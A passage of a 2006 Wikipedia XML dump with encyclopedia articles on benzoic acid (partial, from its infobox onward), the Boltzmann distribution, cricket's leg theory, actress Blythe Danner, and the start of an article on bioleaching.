| [[Orbital_hybridisation#Molecule_shape|Molecular shape]] &lt;!-- for simple covalent molecules (omit for most large molecules, ionics and complexes) --&gt;
| planar 
|-
| [[Crystal structure]] &lt;!-- omit if not a solid --&gt;
| [[Monoclinic]]
|-
| [[Dipole#Molecular_dipoles|Dipole moment]]
| 1.72 [[Debye|D]] in [[Dioxane]]
|-
! {{chembox header}} | Hazards &lt;!--  Summary only- MSDS entry provides more complete information --&gt;
|-
| [[Material safety data sheet|MSDS]]
| [http://www.ilpi.com/msds/benzoic.html External MSDS], &lt;br/&gt;[http://www.jtbaker.com/msds/englishhtml/b1356.htm External MSDS]
|-
| Main [[Worker safety and health|hazard]]s
| Irritating
|-
| [[NFPA 704]]
| {{nfpa|2|1|0}}
|-
| [[Flash point]]
| 121°C (394 K)  
|-
| [[Risk and Safety Statements|R/S statement]]
| [[List of R-phrases|R]]: {{R22}}, {{R36}}&lt;br/&gt;[[List of S-phrases|S]]: {{S24}}
|-
| [[RTECS]] number
| DG0875000
|-
! {{chembox header}} | [[{{PAGENAME}} (data page)|Supplementary data page]]
|-
| [[{{PAGENAME}} (data page)#Structure and properties|Structure and&lt;br/&gt;properties]] 
| [[Refractive index|''n'']], [[Dielectric constant|&amp;epsilon;&lt;sub&gt;r&lt;/sub&gt;]], etc. 
|-
| [[{{PAGENAME}} (data page)#Thermodynamic properties|Thermodynamic&lt;br/&gt;data]] 
| Phase behaviour&lt;br&gt;Solid, liquid, gas 
|-
| [[{{PAGENAME}} (data page)#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|-
! {{chembox header}} | Related compounds
|-
| Related [[carboxylic acid|carboxylic&lt;br/&gt;acids]] 
| [[acetic acid]],&lt;br/&gt;[[hippuric acid]],&lt;br/&gt;[[salicylic acid]]
|-
| Related compounds 
| [[benzene]],&lt;br/&gt;[[benzaldehyde]],&lt;br/&gt;[[benzyl alcohol]],&lt;br/&gt;[[benzyl benzoate]],&lt;br/&gt;[[benzoyl chloride]]
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br/&gt; materials in their [[standard state|standard state (at 25 &amp;deg;C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}
'''Benzoic acid''', C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;COOH, is a colourless crystalline solid and the simplest [[aromatic compound|aromatic]] [[carboxylic acid]]. 

The name derived from [[gum benzoin]] which was for a long time the only source for benzoic acid.

The weak acid and its salts are historically used as food preservative and as raw material for several chemical substances like [[benzoyl chloride]] and [[plasticizer]]s.

==History==

Benzoic acid was discovered in the 16th century. The [[dry distillation]] of [[gum benzoin]] was first described by [[Nostradamus]] ([[1556]]), and subsequently by [[Alexius Pedemontanus]] ([[1560]]) and [[Blaise de Vigenère]] ([[1596]]).{{ref|römpps}}

[[Justus von Liebig]] and [[Friedrich Wöhler]] determined the structure of benzoic acid in [[1832]].{{ref|liebig}} They also investigated how [[hippuric acid]] is related to benzoic acid.

In [[1875]] Salkowski discovered the [[antifungal]] abilities of benzoic acid which were used for a long time in the preservation of benzoate containing [[Cloudberry|fruits]].{{ref|salkowski}}

==Production==

=== Industrial preparations ===

Starting materials containing an [[alkyl]] substituted [[benzene]] can be oxidised with [[potassium permanganate]], [[chromium trioxide]], [[nitric acid]] or [[oxygen]] (in the presence of a catalyst) to give benzoic acid. 

[[Image:Benzoic_acid-chemical-synthesis-1.png|220px|toluene oxidation]]

Benzoic acid is produced commercially by partial oxidation of [[toluene]] with [[oxygen]] with catalytic amounts of [[cobalt]] or [[manganese]] [[naphthenate]]. The process uses cheap raw materials, proceeds in high yield, and it is environmentally attractive in that it avoids the use of stiochiometric amounts of [[chromium]], [[manganese]] or other metals.

U.S. production capacity is estimated to be 126000 [[tonne]]s per year, much of which is consumed internally by the producers to prepare other industrial chemicals.

=== Historical preparations ===

The first industrial process was the reaction of [[benzotrichloride]] (trichloromethyl benzene) with [[calcium hydroxide]] in water, with [[iron]] or [[Iron(III) chloride|iron salts]] as [[catalyst]]. The resulting [[calcium benzoate]] is converted to benzoic acid with [[hydrochloric acid]]. The product contains significant amounts of chlorinated benzoic acid derivates. Because of this the only source for benzoic acid for human consumption was the dry distillation of gum benzoin. Even after the discovery of other synthesis methods it was forbidden to use benzoic acid of other source than gum benzoin. 

=== Laboratory preparations ===

Starting from: 

'''[[Benzonitrile]]'''

Under alkaline or acidic conditions [[hydrolysis]] of the [[nitrile]] takes place. The reaction involves a carboxylic acid [[amide]] or [[imin]], which is subsequently hydrolysed to the acid or salt.  

'''[[Benzaldehyde]]'''
 
The [[disproportionation]] of [[benzaldehyde]], in the presence of base, using the [[Cannizzaro reaction]], giving a mixture of benzoate and [[benzyl alcohol]]. This disproportionation leads always to trace amounts of [[benzyl alcohol]] and [[benzoic acid]] in [[benzaldehyde]] which has to be removed by [[fractionated distillation]]. 

'''[[Bromobenzene]]'''

First step of the reaction is the [[Grignard reagent]] phenylmagnesium, which is formed by the reaction of [[bromobenzene]] with [[magnesium]].
The [[Grignard reagent]] reacts with [[carbon dioxide]] (mostly applied as dry ice) to produce [[benzoate|magnesium benzoate]].

==Uses==

===  Food preservative ===
Benzoic acid and its salts are used as a food [[preservative]], represented by the [[E-numbers]] [[E210]], [[sodium benzoate|E211]], [[potassium benzoate|E212]] and [[calcium benzoate|E213]]. Benzoic acid inhibits the growth of [[mold]], [[yeast]] and some [[bacterium|bacteria]]. It is used either directly or as its [[sodium]], [[potassium]] or [[calcium]] salt. The mechanism starts with the absorption of benzoic acid in to the cell. If the intra cellular [[pKa]] changes to 5 or lower the [[Fermentation|anaerobic fermentation]] of [[glucose]] through phosphorfructokinase is decreased by 95%. The effectivity of benzoic acid and benzoate is depending on the pKa of the food.{{ref|boom}} Acidic food and beverage like [[fruit juice]] ([[citric acid]]), sparkling drinks ([[carbon dioxide]]), [[soft drinks]] ([[phosphoric acid]]), [[Pickling|pickles]] ([[vinegar]]) or other acidified food are preserved with benzoic acid and benzoates.


=== Synthesis ===

Benzoic acid is used to make a large number of chemicals, for example:

'''[[Benzoyl chloride]]''' 

The chlorination of benzoic acid can be done with [[thionyl chloride]], [[phosgene]] or one of the [[phosphorus chlorides|chlorides of phosphorus]].
As very reactive [[acid chloride]] [[benzoyl chloride]] is the important starting material for several other benzoic acid derivates like [[benzyl benzoate]] and [[benzoyl peroxide]]. 

'''[[Benzyl benzoate]]'''

Benzoic acid esters (for example [[benzyl benzoate]]) are also used as [[Flavouring|artificial flavours]] and [[insect repellent]]s. 

'''[[Benzoyl peroxide]]'''

Mixing [[sodium peroxide]] with [[benzoyl chloride]] gives [[benzoyl peroxide]], which is a [[initiator|radical starter]] in [[polymerization]] reactions and also used in cosmetic products. 

'''[[Terephthalic acid]]''' 

With the [[Kolbe-Schmitt reaction]] it is possible to introduce a second carboxylic acid group. Under high presure and alkaline conditions [[carbondioxide]] reacts directly to the terephtalate. Terephtalic acid is the starting material for several [[polyester]] [[polymers]] like [[PET]].
(Most of terephthalic acid is manufactured from [[p-Xylene]] by direct oxidation with oxygen, described in the section industrial production of benzoic acid of this article.) 

'''Benzoat [[plasticizer|plasticizers]]'''

The Glycol- diethylengylcol- and triethyleneglycol esters are obtained by [[transesterification]] of [[methyl benzoate]] with the corresponding [[glycol]] derivate. A second synthesis starts with the benzoylchloride and the glycol derivate.  The use of these plasticizer is similar to those of the terephthalic acid ester. 

'''[[Phenol]]'''

The [[decarboxylation]] reaction at 300-400°C lead to phenol. The temperatures  can be lowered to 200°C by the addition of catalytic amounts of  [[copper|copper(II) salt]]s. The phenol can be converted to [[cyclohexanol]], which is than starting material for [[nylon]] synthesis.

Most of the benzoic acid is used for [[sodium benzoate]], benzoate [[plasticizer|plasticizers]], [[phenol]] synthesis and [[benzoyl chloride]] synthesis.

==Biology and health effects==

[[Gum benzoin]] contains up to 20% of benzoic acid and 40% benzoic acid esters.{{ref|tomokuni}}

Benzoic acid is present as part of [[hippuric acid]] (N-Benzoylglycine) in [[urine]] of [[mammals]], especially [[herbivores]] (Gr. hippos, horse, ouron, urine). Humans produce about 0.44 g/L [[hippuric acid]] per day in their urine, and if the person is exposed to [[toluene]] or benzoic acid it can rise above that level.{{ref|krebs}}

For humans the [[IPCS]] suggests a provisional tolerable intake would be 5 mg/kg body weight per day.{{ref|innovation}} {{ref|concise}} [[Cats]] have a significantly lower tolerance against benzoic acid and its [[salts]] than [[rats]] and [[mice]]. Lethal dose for cats can be as low as 300 mg/kg body weight, where as mice die of a intake of 6000 mg/kg body weight.{{ref|bedford}} The [[LD50|LD&lt;font size =&quot;-1&quot;&gt;&lt;sub&gt;50&lt;/sub&gt;&lt;/font&gt;]] for rats is 1700 mg/kg, and for humans 500 mg/kg.{{ref label|innovation|8|a}} {{ref label|concise|9|a}}

==Chemistry==

Reactions may occur in either the '''[[aromatic ring]]''' or the '''[[carboxylic group]]''':

=== Aromatic ring ===

[[Image:Benzoic_acid-chemical-reaction-1.png|440px|benzoic acid aromatic ring reactions]]

[[Substitution reactions]] at the [[aromatic ring]] are possible and are influenced by the effects of the [[carboxylic group]]. [[Electrophilic aromatic substitution]] reaction will take place mainly in 3-position to the electron-withdrawing [[carboxylic group]].

=== Carboxylic group ===

All the reactions mentioned for [[carboxylic acid]]s are also possible for benzoic acid.

*Benzoic acid [[esters]] are the product of the acid catalysed reaction with [[alcohols]].
*Benzoic acid [[amides]] are more easily available by using activated acid derivatives (such as [[benzoyl chloride]]) or by coupling reagents used in [[peptide synthesis]] like [[Dicyclohexylcarbodiimide|DCC]] and [[DMAP]].
*The more active benzoic [[acid anhydride|anhydride]] is formed by dehydration using [[acetic anhydride]] or [[Diphosphorus pentoxide|phosphorus pentoxide]].
*The most reactive acid derivatives such as [[Acyl halide|acid halides]] are easily obtained by mixing with [[halogenation]] agents like [[phosphorus chlorides]] or [[thionyl chloride]].
*[[Orthoesters]] can be obtained by the reaction of [[alcohols]] under acidic water free conditions with [[benzonitrile]].
*Reduction to [[benzaldehyde]] and [[benzyl alcohol]] is possible using [[DIBAL-H]] or [[Lithium aluminium hydride|LiAlH&lt;sub&gt;4&lt;/sub&gt;]].  
*The copper catalysed [[decarboxylation]] of [[benzoate]] to benzene is effected by heating with [[quinoline]].

[[Image:Benzoic_acid-chemical-reaction-2.png|490px|benzoic acid acid group reactions]]
==References==
#{{note|römpps}}{{cite book | author= Neumüller O-A | year = 1988|  title = Römpps Chemie-Lexikon| edition = 6|  publisher = Frankh'sche Verlagshandlung | location = Stuttgart| id = ISBN 3-440-04516-1 }}
#{{note|liebig}}{{cite journal | author= [[Justus von Liebig|Liebig J]], [[Friedrich Wöhler|Wöhler F]]| title=  | journal=Liebigs An Chem| year=1832  | volume=3 | pages=249}}
#{{note|salkowski}}{{cite journal | author= Salkowski E| title=  | journal=Berl Klin Wochenschr| year=1875  | volume=12 | pages=297-298}}
#{{note|boom}}{{cite journal | author=Pastrorova I, de Koster CG, Boom JJ | title= Analytic Study of Free and Ester Bound Benzoic and Cinnamic Acids of Gum Benzoin Resins by GC-MS HPLC-frit FAB-MS | journal=Phytochem Anal  | year=1997  | volume=8 | pages=63-73 }}
#{{note|tomokuni}}{{cite journal| author= Tomokuni K, Ogata M| title=Direct Colorimetric Determination of Hippuric Acid in Urine| journal=Clin Chem | year=1972 | pages=349-351| volume=18}}
#{{note|krebs}}{{cite journal | author=Krebs HA, Wiggins D, Stubbs M | title= Studies on the mechanism of the antifungal action of benzoate | journal= Biochem J  | year=1983 | volume=214 | pages=657-663 }} &lt;/ref&gt; 
#{{note|bedford}}{{cite journal| author= Bedford PG, Clarke EG  |title=Experimental benzoic acid poisoning in the cat|journal=Vet Rec |year=1972|pages=53-58|volume=90}} PMID 4672555
# {{note|concise}}{{note label|innovation|8|a}}[http://www.the-innovation-group.com/ChemProfiles/Benzoic%20Acid.htm Chemical Profiles] (updated [[2002-04-03]])
# {{note|concise}}{{note label|concise|9|a}}[http://www.inchem.org/documents/cicads/cicads/cicad31.htm Concise International Chemical Assessment Document 26: BENZOIC ACID AND SODIUM BENZOATE]
* {{cite journal | author= Cosmetic Ingredient Review Expert Panel Bindu Nair | title= Final Report on the Safety Assessment of Benzyl Alcohol, Benzoic Acid, and Sodium Benzoate| journal=Int J Tox | year=2001 | volume= 20 | issue=Suppl. 3 | pages=23-50 }} 

== External links ==
*[http://www.ilo.org/public/english/protection/safework/cis/products/icsc/dtasht/_icsc01/icsc0103.htm International Chemical Safety Card 0103]
*{{PubChemLink|243}}
*[http://www.chemicalland21.com/arokorhi/industrialchem/organic/BENZOIC%20ACID.htm ChemicalLand]

[[Category:Organic compounds]]
[[Category:Organic acids]]
[[Category:Carboxylic acids]]
[[Category:Aromatic compounds]]

[[bg:Бензоена киселина]]
[[de:Benzoesäure]]
[[es:Ácido benzoico]]
[[fr:Acide benzoïque]]
[[ko:벤조산]]
[[it:Acido benzoico]]
[[lv:Benzoskābe]]
[[nl:Benzoëzuur]]
[[ja:安息香酸]]
[[pl:Kwas benzoesowy]]
[[pt:Ácido benzóico]]
[[sv:Bensoesyra]]</text>
    </revision>
  </page>
  <page>
    <title>Boltzmann distribution</title>
    <id>4107</id>
    <revision>
      <id>39291905</id>
      <timestamp>2006-02-12T03:26:13Z</timestamp>
      <contributor>
        <username>Jheald</username>
        <id>141421</id>
      </contributor>
      <minor />
      <comment>another slight clarification</comment>
      <text xml:space="preserve">In [[physics]], the '''Boltzmann distribution''' predicts the [[distribution function]] for the fractional  number of particles ''N&lt;sub&gt;i&lt;/sub&gt; / N'' occupying a set of states ''i'' which each have energy ''E&lt;sub&gt;i&lt;/sub&gt;'':

:&lt;math&gt;{{N_i}\over{N}} = {{g_i e^{-E_i/kT}}\over{Z(T)}}&lt;/math&gt;

where ''k'' is the [[Boltzmann constant]], ''T'' is temperature (assumed to be a sharply well-defined quantity), &lt;math&gt;g_i&lt;/math&gt; is the degeneracy, or number of states having energy &lt;math&gt;E_i&lt;/math&gt;, ''N'' is the total number of particles:

:&lt;math&gt;N=\sum_i N_i\,&lt;/math&gt;

and ''Z(T)'' is called the [[partition function]], which can be seen to be equal to

:&lt;math&gt;Z(T)=\sum_i g_i e^{-E_i/kT}&lt;/math&gt;

Alternatively, for a single system at a well-defined temperature, it gives the probability that the system is in the specified state. The Boltzmann distribution applies only to particles at a high enough temperature and low enough density that quantum  effects can be ignored, and the particles are obeying [[Maxwell-Boltzmann statistics]]. (See that article for a derivation of the Boltzmann distribution.)

The Boltzmann distribution is often expressed in terms of &amp;beta;=''1/kT'' where &amp;beta; is referred to as [[thermodynamic beta]].  The term ''exp(-βE&lt;sub&gt;i&lt;/sub&gt;)'' or ''exp(-E&lt;sub&gt;i&lt;/sub&gt;/kT)'', which gives the (unnormalised) relative probability of a state, is called the [[Boltzmann factor]] and appears often in the study of physics and chemistry.

When the energy is simply the kinetic energy of the particle

:&lt;math&gt;E_i = {\begin{matrix} \frac{1}{2} \end{matrix}} mv^{2}&lt;/math&gt;,

then the distribution correctly gives the [[Maxwell-Boltzmann distribution]] of gas molecule speeds, previously predicted by [[James Clerk Maxwell|Maxwell]] in [[1859]].  The Boltzmann distribution is, however, much more general. For example, it also predicts the variation of the particle density in a gravitational field with height, if &lt;math&gt;E_i = {\begin{matrix} \frac{1}{2} \end{matrix}} mv^{2} + mgh&lt;/math&gt;.  In fact the distribution applies whenever quantum considerations can be ignored.  

In some cases, a continuum approximation can be used. If there are ''g(E)dE'' states with energy ''E'' to ''E+dE'', then the Boltzmann distribution predicts a probability distribution for the energy:

:&lt;math&gt;p(E)dE = {g(E) \exp({-\beta E})\over {\int g(E') \exp {(-\beta E')}}dE'} dE&lt;/math&gt;

''g(E)'' is then called the [[density of states]] if the energy spectrum is continuous.

Classical particles with this energy distribution are said to obey [[Maxwell-Boltzmann statistics]].  For quantum particles, quantum [[identical particles|indistinguishability]] must be taken into account, giving corresponding [[Bose-Einstein statistics]] for [[bosons]], and [[Fermi-Dirac statistics]] for [[fermions]].

== Derivation ==

See [[Derivation of the partition function]] - first presented by [[Boltzmann]] in [[1877]].

[[Category:Particle statistics]]
[[Category:Statistical mechanics]]
{{physics-stub}}

[[pl:Rozkład Boltzmanna]]</text>
    </revision>
  </page>
  <page>
    <title>Leg theory</title>
    <id>4109</id>
    <revision>
      <id>15902407</id>
      <timestamp>2005-05-09T21:48:59Z</timestamp>
      <contributor>
        <username>Tintin1107</username>
        <id>152352</id>
      </contributor>
      <comment>Early instances of leg theory</comment>
      <text xml:space="preserve">'''Leg theory''' is a [[bowling (cricket)|bowling]] tactic in the [[sport]] of [[cricket]]. The term ''leg theory'' is somewhat archaic and seldom used any more, but the basic tactic still plays a part in modern cricket.

Simply put, leg theory involves concentrating the bowling attack at or near the line of leg [[stump (cricket)|stump]]. This may or may not be accompanied by a concentration of [[fielding positions in cricket|fielders]] on the [[leg side]]. The line of attack aims to cramp the [[batsman]], making him play the [[cricket ball|ball]] with the [[cricket bat|bat]] close to the body. This makes it difficult to hit the ball freely and score runs, especially on the [[off side]]. Since a leg theory attack means the batsman is more likely to hit the ball on the leg side, additional fielders on that side of the field can be effective in preventing runs and taking catches.

Stifling the batsman in this manner can lead to impatience and frustration, resulting in rash play by the batsman, which in turn can lead to him getting [[dismissal (cricket)|out]].

Leg theory can be a moderately successful tactic when used with both [[fast bowling]] and [[spin bowling]], particularly [[leg spin]] to right-handed batsmen or [[off spin]] to left-handed batsmen. However, because it relies on lack of concentration or discipline by the batsman, it can be risky against patient and skilled players, especially batsmen who are strong on the leg side. The English opening bowlers [[Sydney Barnes]] and [[Frank Foster]] used leg theory with some success in Australia in [[1911]]-[[1912|12]]. In England, at around the same time Fred Root was one of the main proponents of the same tactic.

Concentrating attack on the leg stump is considered by many cricket fans and commentators to lead to boring play, as it stifles run scoring and encourages batsmen to play conservatively.

==Fast leg theory==
''Main article: [[Bodyline]]''

In [[1930]], [[English cricket team|England]] captain [[Douglas Jardine]], together with [[Nottinghamshire]]'s captain [[Arthur Carr]] and his bowlers [[Harold Larwood]] and [[Bill Voce]], developed a variant of leg theory in which the bowlers bowled fast, short-pitched balls that would rise into the batsman's body, together with a heavily stacked ring of close fielders on the leg side. The idea was that when the batsman defended against the ball, he would be likely to deflect the ball into the air for a catch.

Jardine called this modified form of the tactic ''fast leg theory''. On the 1932-33 English tour of [[Australia]], Larwood and Voce bowled fast leg theory at the Australian batsmen. It turned out to be extremely dangerous, and most Australian players sustained injuries from being hit by the ball. [[Wicket-keeper]] [[Bert Oldfield]]'s skull was fractured by a ball hitting his head, almost precipitating a riot by the Australian crowd.

The Australian press dubbed the tactic ''Bodyline'', and claimed it was a deliberate attempt by the English team to intimidate and injure the Australian players. Reports of the controversy reaching England at the time described the bowling as ''fast leg theory'', which sounded to many people to be a harmless and well-established tactic. This led to a serious misunderstanding amongst the English public and the [[Marylebone Cricket Club]] - the administrators of English cricket - of the dangers posed by Bodyline. The English press and cricket authorities declared the Australian protests to be a case of sore losing and &quot;squealing&quot;.

It was only with the return of the English team and the subsequent use of Bodyline against English players in England by the touring [[West Indian cricket team]] in [[1933]] that demonstrated to the country the dangers it posed. The MCC subsequently revised the [[Laws of Cricket]] to prevent the bowling of fast leg theory/Bodyline ever again.

==See also==
* [[Bodyline]]
* [[Off theory]]

[[Category:Cricket captaincy and tactics]]
[[Category:Bowling (cricket)]]</text>
    </revision>
  </page>
  <page>
    <title>Blythe Danner</title>
    <id>4110</id>
    <revision>
      <id>41839385</id>
      <timestamp>2006-03-02T02:01:46Z</timestamp>
      <contributor>
        <ip>64.0.112.155</ip>
      </contributor>
      <comment>Corrected son Jake's occupation from actor to director.  There are no acting credits on file for him at imdb.com.</comment>
      <text xml:space="preserve">'''Blythe Katherine Danner''' (born [[February 3]], [[1943]]) is a prolific, [[Emmy]]-winning [[United States|American]] [[actor|actress]] who has appeared in numerous [[theater|stage]], [[television|screen]], and [[film]] roles.

Danner was born in [[Philadelphia, Pennsylvania]] to a [[Quaker]] family, the daughter of a bank executive. She has two brothers - opera singer/actor Harry Danner, and violin maker [[William Moennig]] (half-brother). She attended the private [[George School]], in [[Newtown, Bucks County, Pennsylvania]], and [[Bard College]], where she was graduated in [[1965]]. She holds three honorary doctorates of fine arts from Bard, [[Williams College]], and [[Hobart and William Smith Colleges|Hobart]]. 

==Acting career==
Danner first appeared on stage with the Theater Company of Boston and the Trinity Square Playhouse of Boston, and first gained national attention at age 25 by winning the [[Theatre World Award]] for her performance in the [[Lincoln Center Rep]]'s production of ''[[The Miser]]''. She went on to win a [[Tony Award]] in [[1970]] for her [[Broadway theatre|Broadway]] debut in ''[[Butterflies Are Free]]'', playing the role later portrayed by [[Goldie Hawn]] in the film adaptation. The same year she appeared in her first film role, in a television production of ''[[Dr. Cook's Garden]]''. She also received Tony nominations in [[1980]] for the original Broadway production of [[Harold Pinter]]'s ''[[Betrayal]]'', in [[1988]] for a [[revival]] of the [[Pulitzer Prize for Drama|Pulitzer Prize-winning drama]] ''[[A Streetcar Named Desire]]'', and again in [[2001]] for a revival of [[Stephen Sondheim]]'s ''[[Follies]]''. Danner was a close friend of actor [[Christopher Reeve]] and appeared with him in several plays.

Due to Danner's WASPy appearance and husky voice, she most frequently is cast as a [[middle class]] or [[upper class]] wife, or more lately, matriarch; although in [[1986]] in ''[[Brighton Beach Memoirs]]'', she portrayed a middle-aged Jewish woman, and in [[1982]] in the TV movie  ''[[Inside the Third Reich]]'', she played the wife of [[Albert Speer]]. Her earliest starring film roles were opposite [[Alan Alda]] in ''[[To Kill a Clown]]'' ([[1972 in film|1972]]) and in the title role of ''[[Lovin' Molly]]'' ([[1974 in film|1974]]), directed by [[Sidney Lumet]].  She has appeared in two films based on the novels of [[Pat Conroy]], ''[[The Great Santini]]'' ([[1979 in film|1979]]) and ''[[The Prince of Tides]]'' ([[1991 in film|1991]]), as well as two television movies adapted from books by [[Anne Tyler]], ''[[Saint Maybe]]'' and ''[[Back When We Were Grownups]]'', both for the [[Hallmark Hall of Fame]]. 

Danner is more recently known for her role opposite [[Robert De Niro]] in the comedy hit ''[[Meet the Parents]]'' ([[2000 in film|2000]]) and its [[2004 in film|2004]] sequel, ''[[Meet the Fockers]]'' (with [[Barbra Streisand]] and [[Dustin Hoffman]]). She currently stars in the cable TV series ''[[Huff (TV series)|Huff]]'', which premiered in [[2004]]. Since [[2001]], she has regularly guest starred on ''[[Will &amp; Grace]]'' as [[Will Truman|Will's]] mother [[Supporting characters on Will &amp; Grace#Will's Family|Marilyn]]. In [[2005]] she was nominated for three [[Emmy]] Awards, for her work on ''Will &amp; Grace'', ''Huff'' and ''Back When We Were Grownups''. Emmy host [[Ellen DeGeneres]] even poked fun at her during the ceremony, saying that Danner shouldn't be nervous because she's almost certain to win at least one Emmy. And indeed she did: Danner won Best Supporting Actress in a Drama Series (for ''Huff'', and it was her first Emmy win) and thanked her daughter and late husband, among others. She said [[New Orleans]] (which had recently been devastated by [[Hurricane Katrina]]) was her husband's favorite city, and ended by paying tribute to &quot;our sons and daughters in [[Iraq]]&quot;, followed by, &quot;let's get the heck outta there!&quot;

For twenty-five years, she has been a regular performer at the [[Williamstown Summer Theater Festival]], where she also serves on the Board of Directors.

==Personal life== 
She is the mother of actress [[Gwyneth Paltrow]] and director [[Jake Paltrow]], and the widow of producer [[Bruce Paltrow]], who died in [[2002]]. Danner first co-starred with her daughter in [[1992]] in the TV movie ''[[Cruel Doubt]]'', then again in the [[2003 in film|2003 film]] ''[[Sylvia (movie)|Sylvia]]'', playing the mother of the title character, played by her daughter. 

She is also the aunt of actresses [[Hillary Danner]] and [[Katherine Moennig]], and sister-in-law (through brother Harry) of [[opera]] director [[Dorothy Danner]].

Although she has worked frequently on TV and on stage, Danner put her film career on hold for a number of years to raise her children. Danner often said the proudest night of her life was when Gwyneth won an [[Academy Award]] for Best Actress (for ''[[Shakespeare in Love]]''), and Danner was the first person Paltrow thanked, tearfully, followed by her father and grandfather, who were both ill with [[cancer]] and subsequently died.

==Environmental activism==
In addition to her acting work, Blythe Danner has been involved in environmental issues such as [[recycling]] and [[conservation ethic|conservation]] for over 30 years, having seen firsthand the contrast between her rural youth and her later residence in [[Los Angeles, California|Los Angeles]] and [[New York]]. She has been active with [[INFORM]], is on the Board of [[Environmental Activists]] and the Board of Directors of the [[Environmental Media Association]], and won the [[2002]] EMA Board of Directors Ongoing Commitment Award. She was instrumental in implementing curbside recycling in [[Santa Monica, California|Santa Monica]] and in retaining the [[New York, New York|New York City]] recycling program despite threatened budget cuts in [[1991]], has driven an electric car since the first [[General Motors]] [[EV1]] was available, and has installed solar panels at her house. In [[2002]] Danner, her husband Bruce Paltrow, and her daughter Gwyneth Paltrow worked together on a series of [[PSA]]s encouraging use of alternative energy sources and alternative fuel vehicles. Blythe Danner recently announced that she plans to take up skydiving.

==Filmography==
*[[1776 (musical)]] (1972) 
*[[To Kill a Clown]] (1972)
*[[Lovin' Molly]] (1974) 
*[[Hearts of the West]] (1975)
*[[Futureworld]] (1976)
*[[The Great Santini]] (1979) 
*[[Man, Woman and Child]] (1983)
*[[Brighton Beach Memoirs]] (1986)
*[[Another Woman]] (1988)
*[[Alice]] (1990)
*[[Mr. &amp; Mrs. Bridge]] (1990)
*[[The Prince of Tides]] (1991)
*[[Husbands and Wives]] (1992)
*[[To Wong Foo: Thanks for Everything, Julie Newmar]] (1995)
*[[Homage]] (1995)
*[[The Myth of Fingerprints]] (1997)
*[[Mad City]] (1997)
*[[The Farmhouse]] (1998)
*[[The Proposition]] (1998)
*[[No Looking Back]] (1998)
*[[The X-Files]] (1998)
*[[Forces of Nature]] (1999)
*[[The Love Letter]] (1999)
*[[Meet the Parents]] (2000)
*[[The Invisible Circus]] (2001)
*[[3 Days of Rain]] (2002)
*[[The Quality of Light]] (2003)
*[[Sylvia]] (2003)
*[[Meet the Fockers]] (2004)

==Television appearances==
&lt;!-- Unsourced image removed: [[Image:BlytheDanner1.jpg|thumb|With Stephen Collins in a scene from the short-lived CBS television series ''Tattinger's'']] --&gt;
*Dr. Cook's Garden (1970) 
*Adam's Rib (1973)
*F. Scott Fitzgerald and the Last of the Belles (1974) 
*Inside the Third Reich (1982)
*Tattinger's (1988) 
*Nick and Hillary (1989)
*Cruel Doubt (1992)
*Huff (2004)
*St. Elsewhere
*Presidio Med
*Will &amp; Grace (in recurring role as Will's mother)
*The Seagull
*Candida
*A Call to Remember
*Saint Maybe
*[[We Were the Mulvaneys]]
*Back When We Were Grownups
*M*A*S*H
*Columbo (1972)

==Theater credits==
*The Miser (1968)
*Butterflies Are Free (1970)
*Betrayal (1980)
*A Streetcar Named Desire (1988)
*Follies (2001)
*Much Ado About Nothing

==External links==
*{{imdb name|id=0001100|name=Blythe Danner}}
*[http://www.twoop.com/people/archives/2005/10/blythe_danner.html Blythe Danner] Timeline
*[http://www.playbill.com/celebritybuzz/whoswho/biography/9756.html Stage biography] from ''[[Playbill]]'' website
*[http://www.ema-online.org/greenlight_2003_spring_in_focus.htm 2003 article] from the [[Environmental Media Association]]
*[http://hometown.aol.com/dannerfan/index.html Unabashedly Blythe], a fan website

[[Category:1943 births|Danner, Blythe]]
[[Category:Living people|Danner, Blythe]]
[[Category:American film actors|Danner, Blythe]]
[[Category:American stage actors|Danner, Blythe]]
[[Category:American television actors|Danner, Blythe]]
[[Category:Emmy Award winners|Danner, Blythe]]
[[Category:M*A*S*H actors|Danner, Blythe]]
[[Category:People from Philadelphia|Danner, Blythe]]
[[Category:Quakers|Danner, Blythe]]
[[Category:Will &amp; Grace actors|Danner, Blythe]]
[[de:Blythe Danner]]</text>
    </revision>
  </page>
  <page>
    <title>Bioleaching</title>
    <id>4111</id>
    <revision>
      <id>36937242</id>
      <timestamp>2006-01-27T13:02:17Z</timestamp>
      <contributor>
        <ip>130.60.24.124</ip>
      </contributor>
      <comment>/* Further Reading */</comment>
      <text xml:space="preserve">'''Bioleaching''' is the extraction of specific [[metal]]s from their [[ore]]s through the use of [[bacterium|bacteria]].

Bioleaching is a new technique used by the [[mining]] industry to extract [[mineral]]s such as [[gold]] and [[copper]] from their [[ore]]s. Traditional extractions involve many expensive steps such as [[roasting]] and [[smelting]], which requires sufficient concentrations of elements in ores. Low concentrations are not a problem for [[bacterium|bacteria]] because they simply ignore the waste which surrounds the metals, attaining extraction yields of over 90% in some cases. These [[microorganism]]s actually gain energy by breaking down minerals into their constituent elements. The company simply collects the [[ion]]s out of the solution after the bacteria have finished. 

Some advantages associated with bioleaching are:

*economical: bioleaching is generally simpler and therefore cheaper to operate and maintain than traditional processes, since fewer specialists are needed to operate complex chemical plants.

*environmental: The process is more environmentally friendly than traditional extraction methods. For the company this can translate into profit, since the necessary limiting of [[sulfur dioxide]] emissions during smelting is expensive. Less landscape damage occurs, since the [[bacterium|bacteria]] involved grow naturally, and the mine and surrounding area can be left relatively untouched. As the bacteria breed in the conditions of the mine, they are easily cultivated and recycled.

Some disadvantages associated with bioleaching are:

*not economical: the bacterial leaching process is very slow compared to smelting. This brings in less profit as well as introducing a significant delay in cash flow for new plants. 

*not environmental: Toxic chemicals are sometimes produced in the process. [[Sulfuric acid]] and H&lt;sup&gt;+&lt;/sup&gt; ions which have been formed can leak into the ground and surface water turning it acidic, causing environmental damage. Heavy ions such as iron, zinc, and [[arsenic]] leak during acid mine drainage. When the pH of this solution rises, as a result of dilution by fresh water, these ions precipitate, forming &quot;Yellow Boy&quot; pollution. For these reasons, a setup of bioleaching must be carefully planned, since the process can lead to a [[biosafety]] failure.

